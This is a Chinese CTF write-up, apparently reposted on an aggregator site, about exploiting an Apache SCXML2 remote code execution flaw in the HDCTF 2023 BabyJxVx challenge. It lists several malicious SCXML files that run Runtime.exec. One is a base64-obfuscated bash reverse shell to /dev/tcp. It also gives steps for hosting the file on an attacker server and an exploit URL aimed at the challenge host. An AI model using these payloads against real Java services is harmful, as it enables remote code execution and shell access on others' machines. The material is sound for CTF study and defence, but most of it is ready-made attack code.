当前位置: 首页 > news >正文

Apache SCXML2 RCE漏洞

文章目录

  • 前言
  • 源码利用
  • 上传恶意xml文件
    • 构造payload
    • 搭建Apache服务器
  • 远程RCE


前言

在做 [HDCTF 2023]BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录

源码利用

public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();

        try {
            if (check(filename)) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.go();
                return "Revenge to me!";
            }

            System.out.println("nonono");
        } catch (Exception var4) {
            System.out.println(var4);
        }

        return "revenge?";
}

大概考点就是接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml

上传恶意xml文件

构造payload

shell.xml源码

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run。
  • <onexit>:定义了一个事件,在退出状态时触发
  • <assing........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

除此之外还有很多构造的

<?xml version="1.0"?> 
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
	<state id="run">
		<onentry> 
			<script> 
				''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
			</script>
		</onentry>
	</state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state id="run">
        <onentry>
            <if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
        </onentry>
    </state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <datamodel>
    	<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data>
    </datamodel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <parallel>
    	<invoke src="test" content="test" id="flag"> 
    		<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param>
    	</invoke>
    </parallel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state>
    	<history src="test" content="test" id="flag">
    		<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></transition>
    	</history>
    </state>
</scxml>

搭建Apache服务器

首先我们得在本地搭建服务器,这里我以kali为例
依次执行以下命令

sudo apt-get update

sudo apt-get install apache2

sudo service apache2 start    #启动服务

然后我们在浏览器访问http://ip
在这里插入图片描述
然后我们将写好的xml文件mv到该根目录下

mv /home/kali/shell.xml /var/www/html/

上传成功后我们开启临时文件服务器,在根目录执行下面命令

python3 -m http.server 8000

在这里插入图片描述
访问8000端口,成功访问
在这里插入图片描述

远程RCE

我们直接在题目处远程RCE,payload如下

http://node4.anna.nssctf.cn:28342/Flag?filename=http://服务器ip:8000/shell.xml

相关文章:

  • mysql常用命令
  • Mallab勒索病毒的最新威胁:如何恢复您的数据?
  • 腾讯云优惠服务器有哪些?腾讯云服务器优惠券领取入口汇总
  • Go 理解零值
  • docker入门
  • Django(三、数据的增删改查、Django生命周期流程图)
  • STM32 寄存器配置笔记——GPIO配置输出
  • 【Amazon】云上探索实验室—了解 AI 编程助手 Amazon Codewhisperer
  • 【数据分享】1961—2022年全国范围的逐日降水栅格数据
  • 【java】idea可以连接但看不到database相关的files
  • Java版本spring cloud + spring boot企业电子招投标系统源代码
  • 基于GPTs个性化定制SCI论文专业翻译器
  • web前端开发网页设计课堂作业/html练习《课程表》
  • ARM课程发送一个字符,接收一个字符
  • 区域入侵AI算法如何应用在工地场景,保卫工地施工安全?
  • 【Linux】Ubuntu16.04配置repo
  • 如何准备2024年的系统设计面试?
  • docker小技能:容器IP和宿主机IP一致( Nacos服务注册ip为内网ip,导致Fegin无法根据服务名访问 )
  • 高防IP是什么?如何隐藏源站IP?如何进行防护?
  • 短路语法 [SUCTF 2019]EasySQL1
  • 端午小长假前夜火车票今日开抢,多个技巧提高购票成功率
  • 人民网三评“网络烂梗”:莫让低级趣味围猎青少年
  • “女硕士失踪13年生两孩”案进入审查起诉阶段,哥哥:妹妹精神状态好转
  • 125%→10%、24%税率暂停90天,对美关税开始调整
  • 中美日内瓦经贸会谈联合声明
  • 专访|日本驻华大使金杉宪治:对美、对华外交必须在保持平衡的基础上稳步推进